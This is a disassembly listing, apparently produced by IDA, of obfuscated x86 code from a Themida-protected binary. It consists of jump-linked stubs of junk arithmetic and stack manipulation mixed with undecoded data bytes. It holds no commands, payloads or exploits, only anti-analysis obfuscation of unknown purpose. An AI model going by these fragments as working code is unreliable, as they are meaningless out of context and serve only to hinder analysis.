loc_50F2DE:				; CODE XREF: Themida_:0051E686j
		mov	[esp], esi
		not	dword ptr [esp]
		jmp	loc_51E3DB
; ---------------------------------------------------------------------------
		db 0BEh, 2, 4Dh
		dd 0DEF77952h, 0EB9AE9h, 4EC8100h, 89000000h, 0BBB9240Ch
		dd 81711147h, 3C24BEE9h, 59C8294Ah, 2716E9h, 24048F00h
		dd 4C5815Ch, 57000000h,	462D08BFh, 6EF817Dh, 17D462Dh
		dd 2C875FFDh, 24248B24h, 118B5E9h, 66C1FE00h, 8096B652h
		dd 0F12878C1h, 6678E980h, 8324148Bh, 0CA8802C4h, 380459h
		dd 8B382CD0h, 3CE92414h
		db 88h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50F35B:				; CODE XREF: Themida_:00517ABAj
		xor	edi, 34D44DFCh
		and	edi, 7EF12426h
		neg	edi
		xor	edi, 381E3E57h
		add	edi, 0C6E1E5Bh
		mov	ebp, edi
		pop	edi
		push	3CCDh
		mov	[esp], ecx
		mov	ecx, 4834082Ah
		jmp	loc_51492F
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 78580882h, 5A59CF01h, 0E906E7C1h, 99B5h, 4C4815Bh, 1000000h
		dd 0F70158C7h, 5FE2EF81h, 34FF39ABh, 0B21E924h,	0FB290001h
		dd 83243C8Bh, 0E95604C4h, 2E25h, 19CE68h, 24348900h, 0B29A0BEh
		dd 121E90Bh, 74FF0001h,	8F5B0424h, 2FE92404h, 5300011Ch
		dd 0E950C8B7h, 10410h, 8B240433h, 30FF2424h, 11CB5E9h
		dd 5BF38000h, 0E95BDD30h, 99F6h, 6607B450h, 0F6E78853h
		dd 0B8E951DFh
		db 0B7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_50F413:				; CODE XREF: Themida_:0051AD70j
		add	esp, 4
		xchg	ebp, edx
		jmp	loc_511B87
; ---------------------------------------------------------------------------
		dd 88E88850h, 24048BC6h, 4C481h, 0C8B0000h, 0FD96E924h
		dd 2C890000h, 2C8B5424h, 4C48124h, 81000000h, 4C5h, 4C58100h
		dd 87000000h, 815C242Ch, 4C4h, 0ED92E900h, 77FFFFFFh, 19589D1Ch
		dd 0E99C2404h, 0FFFFED84h, 0E704EB81h, 0DD010E51h, 85EF815Bh
		dd 155100Eh, 85C781EFh,	5D55100Eh, 10F57E9h
		db 0
; ---------------------------------------------------------------------------


loc_50F489:				; CODE XREF: Themida_:0051885Ej
		add	ecx, 625712ABh
		mov	ebp, ecx
		pop	ecx
		push	5609h
		jmp	loc_51B7CF
; ---------------------------------------------------------------------------


loc_50F49C:				; CODE XREF: Themida_:00520BB3j
		shr	ecx, 0
		or	eax, eax
		jz	loc_521F5E
		push	74C4h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edi
		push	esp
		pop	edi
		push	7270h
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_51CAC7
; ---------------------------------------------------------------------------
		dw 5755h
		dd 0F088E9h, 0ED1AE900h, 0C281FFFFh, 73FE5DADh,	0A2A8EA81h
		dd 0D10193ABh, 0E92434FFh, 12755h
; ---------------------------------------------------------------------------


loc_50F4EC:				; CODE XREF: Themida_:00512672j
		mov	edx, 70EB73ADh
		mov	ebx, edx
		pop	edx
		push	ebp
		mov	ebp, 2DB319DFh
		not	ebp
		sub	ebp, 6821CF06h
		jmp	loc_5147AF
; ---------------------------------------------------------------------------
		db 0FFh
		dd 58042474h, 8B24048Fh, 0F662424h, 9C2404ABh, 0FFECD3E9h
		dd 243C31FFh, 0E9B3E9h,	5E6C100h, 81FFC683h, 0A84BF4CEh
		dd 41F68133h, 813340F9h, 2A2B82E9h, 0D53DE95Eh,	0C8B0000h
		dd 4C48124h, 83000000h,	0E95301EEh, 6148h, 81E08950h, 4ECh
		dd 34CBE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50F562:				; CODE XREF: Themida_:00515BE6j
		neg	esi
		sub	esi, 568B39F8h
		xor	esi, 0E8EF5437h
		sub	ebp, esi
		pop	esi
		sub	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	eax, ebx
		pop	ebx
		xor	eax, 37FF7D0Ch
		and	ecx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		shr	ecx, 6
		jmp	loc_521A4C
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 4C1h, 240C8700h, 9DC3815Ch, 0E933D87Ah, 5A82h, 6370EB81h
		dd 86E937D7h, 810000BAh, 413917C5h, 81D50175h, 413917EDh
		dd 1B01E975h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50F5D6:				; CODE XREF: Themida_:005159C4j
		pop	esp
		push	edx
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_51AC6C
; ---------------------------------------------------------------------------
		db 0F7h, 0DDh, 81h
		dd 349420F5h, 8BEA01C6h, 0C481242Ch, 4,	5CB85051h, 2D65A268h
		dd 26E835AFh, 0E2E9D0F7h, 810000F1h, 4C3h, 142CE900h, 0F75D0001h
		dd 0C1EF81DFh, 81122947h, 0ED3B9DC7h, 0CEC7812Eh, 0F743C348h
		dd 685551D7h, 4B3C4C3Fh, 9E56E9h, 39E95A00h, 53FFFFEDh
		dd 0A520C9BBh, 245C2921h, 0FF59E904h, 99E90000h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50F657:				; CODE XREF: Themida_:00513E4Bj
		xor	ebp, 4A883CE2h
		jmp	loc_5194EC
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0BB68240Ch, 8900004Ah, 5D54242Ch, 4C8C68h, 240C8900h
		dd 4EC81h, 2C890000h, 1EF96824h, 64E9034Bh, 2800013Eh
		dd 79EA80FAh, 8716E95Bh, 15E0000h, 8104246Ch, 6E04246Ch
		dd 816DEF3Eh, 72042444h, 5D294153h, 83242C8Bh, 0C58104C4h
		dd 4, 4EC81h, 1C890000h, 3311E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50F6C6:				; CODE XREF: Themida_:0050EC7Fj
		push	ecx
		mov	ecx, 57FD3588h
		mov	ebp, 0E7C143CAh
		jmp	loc_51DF8C
; ---------------------------------------------------------------------------


loc_50F6D6:				; CODE XREF: Themida_:00515479j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		push	ebx
		jmp	loc_513DC2
; ---------------------------------------------------------------------------
		align 2
		dw 80C7h
		dd 0F8E922C7h
		db 2 dup(1), 0
; ---------------------------------------------------------------------------


loc_50F6F3:				; CODE XREF: Themida_:00514D33j
		add	ebp, edi
		sub	ebp, 4B736B30h
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ecx
		jmp	loc_51443E
; ---------------------------------------------------------------------------
		dd 8159CE31h, 2D03CFEEh, 7940E95Fh, 0E8290000h,	268D685Dh
		dd 3C890000h, 0AA00E924h, 0BB530000h, 1D75629Ch, 0EB81DBF7h
		dd 7B94057Eh, 23A7E9h, 5E08900h, 4, 0B13DE955h,	0C5810000h
		dd 31F012BBh, 4CD3C381h, 0BBE91EFDh, 890000E5h,	4C581E5h
		dd 81000000h, 4EDh, 242C8700h, 243C895Ch, 3FBEBA52h, 0D7890016h
		dd 7BB0055Ah, 0F8290E6Ch, 6C7BB02Dh, 0C2815F0Eh, 34B227ADh
		dd 3F5CBF57h, 0F7815C10h, 3C7D06E8h, 0B22CE9h, 0E8BD5500h
		dd 0E9610F29h, 7D9Bh, 2627CB81h, 0CB81749Ah, 606F21B4h
		dd 4A27E381h, 0A9E936BBh, 31FFFFFCh, 22D0E9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50F7CA:				; CODE XREF: Themida_:00522B18j
		mov	esp, [esp]
		jmp	loc_50F214
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 0C6810000h, 4, 5C243487h, 0FFF329E9h, 4CE981FFh
		dd 5A6E053Fh, 4EC81h, 34890000h, 90BD5524h, 4D7C0531h
		dd 0DDF7D5F7h, 0E904E5C1h, 0CA88h, 55A5C281h, 0EA8142E2h
		dd 48570B80h, 0C281DA01h, 48570B80h, 55A5EA81h,	3DE942E2h
		dd 810000F4h, 4C4h, 8BCB0000h, 0D5E9240Ch
		db 0E5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_50F83B:				; CODE XREF: Themida_:0051F139j
		mov	edx, 1C0D7D41h
		jmp	loc_51804F
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0C2815A54h, 4, 79685156h, 595E9059h,	0F7D1F749h, 8EE981D9h
		dd 81758A2Fh, 629E9F1h,	0CA8952E9h, 595AD689h, 2AD4EA81h
		dd 0F201619Dh, 0B79EE9h, 36E95D00h, 5E00007Eh, 42D7BF57h
		dd 0FD312F02h, 26B2E95Fh
		db 1, 0
; ---------------------------------------------------------------------------


loc_50F892:				; CODE XREF: Themida_:005216D2j
		push	7C2h
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		mov	edi, 2EDA7114h
		mov	ebp, edi
		pop	edi
		shr	ebp, 3
		push	0
		sub	[esp], ebp
		pop	ebp
		jmp	loc_517FE2
; ---------------------------------------------------------------------------


loc_50F8BC:				; CODE XREF: Themida_:0051B8AFj
		push	edi
		push	edx
		push	0E8039F2h
		pop	edx
		jmp	loc_522240
; ---------------------------------------------------------------------------


loc_50F8C9:				; CODE XREF: Themida_:0051E0C4j
		mov	[esp], edi
		jmp	loc_51E4C9
; ---------------------------------------------------------------------------
		db 0BBh, 26h, 37h
		dd 0D9011907h, 13AFFE9h, 69E9AD00h, 25000099h, 5F531B11h
		dd 5CCA1C2Dh, 30196837h, 4890000h, 24148B24h, 4C481h, 55580000h
		dd 1BB90FBDh, 5DEA01F5h, 1079AE9h, 14816800h, 0C890000h
		dd 0E7895724h, 4C781h, 0EF830000h, 0AC49E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50F926:				; CODE XREF: Themida_:005138FDj
		pop	eax
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		push	eax
		jmp	loc_51E68B
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 81E9240Ch, 0BA00004Fh, 435671F4h, 704DE9h, 656B6800h
		dd 1C890000h, 0BB24h, 0C3290000h, 4EC8350h, 0E9241C89h
		dd 0EA8Fh
; ---------------------------------------------------------------------------


loc_50F964:				; CODE XREF: Themida_:00513DDFj
		push	ebp
		mov	ebp, 3BA56EE3h
		or	ebp, 4FCC57B4h
		add	ebp, 246158D9h
		and	ebp, 33977E6Eh
		jmp	loc_51AAB8
; ---------------------------------------------------------------------------
		db 53h,	52h, 88h
		dd 5AF788EEh, 88F98851h, 240C8BCAh, 5B04C483h, 8B5AD088h
		dd 0C481240Ch, 4, 3368E9h, 8BC20100h, 0C4832404h, 24148704h
		dd 0FF24248Bh, 0B5E92434h, 5E00004Dh, 31240C33h, 0C33240Ch
		dd 4895E924h, 0EB810000h, 4DBF28BCh, 5634E9h, 24248B00h
		dd 0CD52E957h, 81AD0000h, 0A766C2EEh, 0B4EE8144h, 166676Bh
		dd 4EC81C6h, 89000000h,	6856241Ch, 431A5B25h, 0B3BB535Eh
		dd 8157CB0Ch, 4F648FF3h, 84DAE92Bh, 81660000h, 6679C2EEh
		dd 348BF731h, 0BB02E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50FA1E:				; CODE XREF: Themida_:00518F1Dj
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5159C1
; ---------------------------------------------------------------------------
		dd 8103E5C1h, 193CBDF5h, 6ED817Ch, 0D17D3218h, 8E5C1EDh
		dd 22E7BE56h, 0C6812768h, 2806929Ah, 30E9F501h,	1FFFFFEh
		dd 0C7295AD0h, 0B6A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_50FA5D:				; CODE XREF: Themida_:00520086j
		mov	[esp+5], bl
		pop	ebx
		xor	[esp+1], bl
		jmp	loc_51299A
; ---------------------------------------------------------------------------
		db 0BFh
		dd 2AED5EC7h, 5EC3EF81h, 0F8012AEDh, 4055Fh, 4870000h
		dd 0C2E95C24h
		db 0, 1, 0
; ---------------------------------------------------------------------------


loc_50FA87:				; CODE XREF: Themida_:005212E9j
		xchg	ecx, [esp]
		push	dword ptr [esp]
		pop	eax
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		jmp	loc_51EDF2
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 240C8900h, 1389CE9h
		db 0
; ---------------------------------------------------------------------------


loc_50FAAD:				; CODE XREF: Themida_:0051FC51j
		sub	ebp, 3B826FD3h
		add	ebp, 4AE75F1Dh
		sub	ebp, eax
		sub	ebp, 4AE75F1Dh
		add	ebp, 3B826FD3h
		mov	eax, [esp]
		add	esp, 4
		xor	ecx, ebp
		pop	ebp
		or	ebx, ecx
		jmp	loc_522F18
; ---------------------------------------------------------------------------
		dw 0D329h
		dd 0EC815E5Ah, 4, 0FF241C89h, 0E9042474h, 267Fh, 0B80006BFh
		dd 239EE93Eh, 0F1010001h, 0C587E9h, 7EB35300h, 67E9DD88h
		dd 5700011Fh, 7A4309BFh, 36BB532Bh, 0BE68125Ah,	0B8DB7A0Ch
		dd 0E95BDE29h, 1046h
; ---------------------------------------------------------------------------


loc_50FB24:				; CODE XREF: Themida_:00519A85j
		xor	edx, ebx
		pop	ebx
		or	edx, 395B6B02h
		or	edx, 64E54E58h
		xor	edx, 0E6B0EE5Dh
		add	ebx, edx
		pop	edx
		push	ebp
		mov	ebp, 3C8263ADh
		jmp	loc_50E9C4
; ---------------------------------------------------------------------------
		db 31h
		dd 0DF015AD3h, 53241C8Bh, 0FFF3F6E9h, 0E9DBF7FFh, 10579h
		dd 4EC81h, 4890000h, 0FEA0B024h, 6E8C0C0h, 8E049924h, 5258C530h
		dd 0D0889EB2h, 59E8305Ah, 8CE9C328h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50FB83:				; CODE XREF: Themida_:0051E064j
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		jmp	loc_51A8DC
; ---------------------------------------------------------------------------
		dd 510AC380h, 81E18951h, 4C1h, 4E98300h, 8B240C87h, 5AE92424h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50FBC3:				; CODE XREF: Themida_:00510443j
		pop	esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	ecx, 4
		add	ecx, 2
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_50ED0D
; ---------------------------------------------------------------------------
		db 5Ah
		dd 3E3CB850h, 35E9291Fh
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_50FBFB:				; CODE XREF: Themida_:005165ABj
		push	ebp
		mov	ebp, 484427FBh
		push	esi
		push	ebx
		push	77B95B4Eh
		pop	ebx
		jmp	loc_517FF4
; ---------------------------------------------------------------------------
		dw 2FB1h
		dd 8094C980h, 0C9FE26E1h, 14F65166h, 80596624h,	0F180C6C9h
		dd 59C88818h, 8022E9h, 2434FF00h, 0C41FE95Bh, 0BA660000h
		dd 926647A0h, 0F7665066h, 58662414h, 0ECE99266h, 10000DFh
		dd 148758C2h, 12E95C24h
		db 0Eh,	1, 0
; ---------------------------------------------------------------------------


loc_50FC57:				; CODE XREF: Themida_:00515C0Bj
		push	esi
		mov	esi, 716F1AC5h
		shl	esi, 5
		push	eax
		push	2D6Dh
		mov	[esp], esp
		jmp	loc_51525C
; ---------------------------------------------------------------------------


loc_50FC6E:				; CODE XREF: Themida_:005179D2j
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 22AC304Bh
		xor	eax, 22AC304Fh
		jmp	loc_51341D
; ---------------------------------------------------------------------------
		db 89h
		dd 0F5BB241Ch, 29677165h, 0BB535BD8h, 1FB30E3Ah, 0FFFD31E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50FC99:				; CODE XREF: Themida_:0050EE8Ej
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebx, 4
		push	edx
		push	ebp
		push	0A3F62E1h
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 37C83E28h
		add	ebp, 0C208A339h
		mov	edx, ebp
		pop	ebp
		add	ebx, 6A00559Ah
		add	ebx, 60C27591h
		jmp	loc_51EDE5
; ---------------------------------------------------------------------------


loc_50FCF3:				; CODE XREF: Themida_:0051AFFDj
		pop	ebx
		jmp	loc_51B79F
; ---------------------------------------------------------------------------
		db 68h,	89h, 6Fh
		dd 0C8B1479h, 4EC8324h,	89243489h, 0ED1E9E6h, 0C8280001h
		dd 8059812Ch, 5150D6EBh, 1F2CE9h, 0E9E28900h, 393Ah, 24048B66h
		dd 51E68956h, 4B9h, 0CBEE8100h,	13D193Ah, 0CBC681CEh, 593D193Ah
		dd 4EE81h, 34870000h, 14895C24h, 4EC8124h, 89000000h, 0E4E92424h
		dd 68000090h, 0A5Fh, 0B3241C89h, 0E9CBFE09h, 0FFFFF035h
		dd 72D7EF81h, 0B9E9030Ah, 890000C2h, 42BD242Ch,	813DC302h
		dd 0AF53E9E5h, 0F5E94570h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50FD8B:				; CODE XREF: Themida_:0051115Dj
		add	eax, 4
		push	ebp
		mov	ebp, 267F5874h
		sub	ebp, 0D957862h
		add	ebp, 43271156h
		and	ebp, 573A4FBFh
		jmp	loc_51BFD8
; ---------------------------------------------------------------------------
		db 0ADh, 83h, 7Fh
		dd 840F0020h, 0D4F1h, 707FBA52h, 23E91ECAh, 68000042h
		dd 3206h, 68243C89h, 685Ch, 0FFE559E9h,	243433FFh, 0E924248Bh
		dd 0E9CBh
; ---------------------------------------------------------------------------


loc_50FDE0:				; CODE XREF: Themida_:0051E690j
		mov	[esp], edi
		push	1EC32934h
		jmp	loc_510814
; ---------------------------------------------------------------------------
		db 0B8h, 0C6h, 28h
		dd 0C331685Dh, 0E9EBD158h, 2CBh, 5303E5C0h, 0FFE96AB7h
		dd 0B10000D1h, 0EEE980E0h, 2414F651h, 14F6E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50FE16:				; CODE XREF: Themida_:0051DF04j
		add	ebp, eax
		jmp	loc_511D24
; ---------------------------------------------------------------------------


loc_50FE1D:				; CODE XREF: Themida_:00522316j
		push	esi
		mov	esi, 55534EE7h
		xor	esi, 55534EE3h
		add	edx, esi
		jmp	loc_511F62
; ---------------------------------------------------------------------------
aR5Rs		db '5||>R\',0
		align 4
		dd 0E99CC138h, 0FFFFE3ACh, 9D1C77FFh, 24041158h, 0E39EE99Ch
		dd 0D730FFFFh, 48EF805Ah, 45BF988h, 0FEACE981h,	0ADBEFFFFh
		dd 5706FA02h, 0D04626BFh, 5FFE213Dh, 1281C681h,	0D6F749FDh
		dd 930CE81h, 0EE81464Ch, 91338D62h, 348BF501h, 4C48324h
		dd 7A5BE9h
		db 0
; ---------------------------------------------------------------------------


loc_50FE91:				; CODE XREF: Themida_:0051D371j
		pop	eax
		push	21Ah
		mov	[esp], edx
		push	78BAh
		jmp	loc_51B24E
; ---------------------------------------------------------------------------
		dd 0E9241487h, 71BCh, 0E9242C89h, 2DDAh
; ---------------------------------------------------------------------------


loc_50FEB4:				; CODE XREF: Themida_:00517227j
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		add	ebx, edi
		jmp	loc_50E8C6
; ---------------------------------------------------------------------------
		dd 81E98745h, 82A48C9h,	45C9812Fh, 0C13DC74Dh, 0E9C104E9h
		dd 1EFE902h, 248B0000h,	2263E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50FEE6:				; CODE XREF: Themida_:005231EBj
		push	69BAh
		mov	[esp], ebp
		jmp	loc_522144
; ---------------------------------------------------------------------------
		db 1
aUSye		db ']Y',0
		db 0
; ---------------------------------------------------------------------------


loc_50FEFB:				; CODE XREF: Themida_:0052342Cj
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_51C577
; ---------------------------------------------------------------------------
		db 1
		dd 42D59C8h, 87000000h,	895C2404h, 8B542434h, 0EC812434h
		dd 4, 0C618E9h
		db 0
; ---------------------------------------------------------------------------


loc_50FF25:				; CODE XREF: Themida_:00520FBEj
		pop	eax
		sub	dword ptr [esp+4], 2725724Bh
		jmp	loc_519A4E
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0CA8142D2h, 50551CEFh, 711C281h, 0D5016531h,	5DE9015Ah
		dd 3304E983h, 0C31240Ch, 240C3324h, 0E924248Bh,	0DA89h
; ---------------------------------------------------------------------------


loc_50FF5C:				; CODE XREF: Themida_:0051A214j
		mov	ecx, 1EA50EA5h
		and	ecx, 52A74C84h
		jmp	loc_51C825
; ---------------------------------------------------------------------------
		dd 24048B66h, 52E08950h, 8BBD5557h, 89298670h, 0F698E9EFh
		dd 4BEFFFFh, 1000000h, 0BD555EF1h, 66632813h, 7EC6E581h
		dd 0E5812250h, 7D311D57h, 806F581h, 0E9812000h,	5B1F7B4Eh
		dd 0C181E929h, 5B1F7B4Eh, 0E9242C8Bh, 0B977h, 8324048Bh
		dd 48904ECh, 4EC8324h, 81242489h, 42404h, 52580000h, 4BAh
		dd 8BD00100h, 0A9E92414h, 1000008h, 0DF61E9D7h,	0EC830000h
		dd 243C8904h, 38E9E789h, 0FF0000EEh, 72E92434h,	81FFFFE3h
		dd 3F74A5E9h, 68F90117h, 5D3Ah,	0BF243C89h, 173F74A5h
		dd 3C8BF901h, 0F21AE924h, 0CCBEFFFFh, 0F74ADA08h, 0A2F681D6h
		dd 9FF7AA6h, 7C5CE9F0h,	0DDF60000h, 0F9ED80h, 0C38059EBh
		dd 38C38094h, 0E931C380h, 12DC6h, 3F146866h, 241C8966h
		dd 0CEFFE9h, 0A5E94D00h, 81000052h, 4C4h, 8F7DE900h, 8D680000h
		dd 89000048h, 0E5BB241Ch, 9438757h, 0B8505BDEh,	30CB36A8h
		dd 0C158C609h, 0F68108EEh, 73DF7Bh, 34FFF201h, 2434FF24h
		dd 0A625E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_510092:				; CODE XREF: Themida_:0051D8C1j
		pop	esp
		add	ebp, ecx
		jmp	loc_516754
; ---------------------------------------------------------------------------


loc_51009A:				; CODE XREF: Themida_:00512E15j
		xor	[esp], ebp
		jmp	loc_517ED7
; ---------------------------------------------------------------------------


loc_5100A2:				; CODE XREF: Themida_:00520A56j
		add	cl, 9Fh
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_511E01
; ---------------------------------------------------------------------------
		dw 885Ah
		dd 0D1F658E1h, 5966CB88h, 0F620F380h, 5BEB80D3h, 0BEE9DE88h
		dd 500000A3h, 10835E9h,	10F18100h, 90DA555h, 240C8BCDh
		dd 0E904C483h, 548Fh, 0E9241C87h, 123A6h
; ---------------------------------------------------------------------------


loc_5100E8:				; CODE XREF: Themida_:00519F67j
		add	esp, 4
		add	ebx, 1EDE21DFh
		pop	eax
		add	ebx, esi
		pop	esi
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jnz	loc_51BBED
		sub	esp, 4
		mov	[esp], eax
		push	6441447Ah
		pop	eax
		jmp	loc_522225
; ---------------------------------------------------------------------------


loc_510114:				; CODE XREF: Themida_:00517A4Dj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5231B6
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0FFED83E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_510125:				; CODE XREF: Themida_:00516829j
		pop	ecx
		mov	ebp, 227EB55Dh
		jmp	loc_51541C
; ---------------------------------------------------------------------------


loc_510130:				; CODE XREF: Themida_:00511B25j
		xchg	ecx, [esp]
		pop	esp
		push	2853h
		mov	[esp], ecx
		push	0D1Fh
		mov	[esp], edx
		mov	dl, 0DAh
		mov	ch, 9
		xor	ch, dl
		pop	edx
		push	small 0EE9h
		mov	[esp], ax
		mov	ah, 0CAh
		sub	ch, 0B0h
		add	ch, ah
		add	ch, 0B0h
		pop	ax
		jmp	loc_51C73B
; ---------------------------------------------------------------------------


loc_510164:				; CODE XREF: Themida_:00510FAEj
		xchg	edx, ebp
		jmp	loc_519475
; ---------------------------------------------------------------------------
		db 28h
		dd 240C8BCFh, 4C481h, 6EE90000h, 1FFFFF5h, 0D56852E9h
		dd 8B0A9B34h, 0E9572414h, 118A6h
; ---------------------------------------------------------------------------


loc_51018C:				; CODE XREF: Themida_:0051864Aj
		xor	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_522706
; ---------------------------------------------------------------------------


loc_510196:				; CODE XREF: Themida_:00518523j
		sub	ebx, 8D13C931h
		add	ebp, ebx
		pop	ebx
		push	esi
		mov	esi, 0
		sub	esi, ebp
		jmp	loc_51D207
; ---------------------------------------------------------------------------


loc_5101AC:				; CODE XREF: Themida_:00518F7Cj
		test	cx, ax
		pushf
		jmp	loc_51C7CC
; ---------------------------------------------------------------------------


loc_5101B5:				; CODE XREF: Themida_:0051D6AEj
		push	6C85h
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_512563
; ---------------------------------------------------------------------------


loc_5101C7:				; CODE XREF: Themida_:0051BA5Fj
		pop	eax
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 2553630Ch
		sub	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		push	2D0Eh
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		jmp	loc_50ED82
; ---------------------------------------------------------------------------
		dd 21E9DE01h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_510203:				; CODE XREF: Themida_:00521D69j
		pop	ecx
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_514C65
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_519775
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 348B5F56h,	0E2895224h, 0BA52E9h, 4C38100h
		dd 0E9000000h, 1AE8h, 240C8B66h, 51AD68h, 243C8900h, 0E91BE9h
		dd 47E95700h, 580000A5h, 54B2E9h, 4EC8100h, 89000000h
		dd 0A7E92414h, 0C00000E4h, 0C18005E1h, 5B6DE95Eh, 0E9520000h
		dd 0EAA8h, 3E8FE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_510276:				; CODE XREF: Themida_:0051C778j
		not	ebx
		jmp	loc_51B82B
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0C0830000h, 24043304h, 0E9240431h, 0FFFFE1EAh, 0E924048Fh
		dd 0CA46h, 0D088EA88h, 0E924148Bh, 12F0Ah, 0E981E929h
		dd 1E7A2791h, 59C8315Dh, 6C5C68h, 240C8900h, 5B0F6850h
		dd 5581CF3h, 5104E3AEh,	89C58955h, 0E9585DE9h, 0FFFFEA11h
; ---------------------------------------------------------------------------


loc_5102D0:				; CODE XREF: Themida_:0051C0C3j
		mov	eax, 4
		jmp	loc_520DF9
; ---------------------------------------------------------------------------
		dw 452Dh
		dd 0E972DD39h, 7F9Bh, 4C481h, 0F3E90000h, 33000025h, 248B243Ch
		dd 4FE95624h, 8900008Ah, 0F3E9243Ch
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_510303:				; CODE XREF: Themida_:0051DEF1j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		mov	edx, [esp]
		push	2A35h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_516BF7
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 1000000h, 8B042474h,	65E92434h, 6800009Ah, 6BBBh, 54240489h
		dd 727FE9h
		db 0
; ---------------------------------------------------------------------------


loc_510345:				; CODE XREF: Themida_:0051E9E6j
		pop	edx
		pop	esi
		add	ebx, edx
		jmp	loc_515B4E
; ---------------------------------------------------------------------------
		dw 483h
		dd 34FF0424h, 241C8B24h, 4C481h, 0C4830000h, 4BE5604h
		dd 1000000h, 1FE95EF3h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51036F:				; CODE XREF: Themida_:005132F2j
		xor	ecx, ebx
		jmp	loc_519D94
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F580424h, 248B2404h, 81C30124h, 341D8FEBh, 3462E94Bh
		dd 0F8310000h, 11975E9h, 44C58100h, 1CDFEFFh, 0E8835DE8h
		dd 24048704h, 0E924248Bh, 0FC7Fh
; ---------------------------------------------------------------------------


loc_5103AC:				; CODE XREF: Themida_:0051F391j
		mov	dx, [esp]
		push	ecx
		push	276Fh
		mov	[esp], esp
		push	eax
		jmp	loc_5217B3
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8904ECh, 16B8E924h, 0CA890001h, 4E74E9h, 52B3BE00h
		dd 0F12900B6h, 3BF1815Eh, 198905Ch, 0B85059CEh,	4, 0C6E9C629h
		dd 31000094h, 0E9D731FAh, 0FFFFF245h, 0EEE9E789h, 5B000098h
		dd 0BF57FA01h, 3FFB2DCDh, 2446EA81h, 0C2811055h, 63244BB8h
		dd 0EA81FA01h, 63244BB8h, 49BAB951h, 0E1813B7Eh, 87420D6h
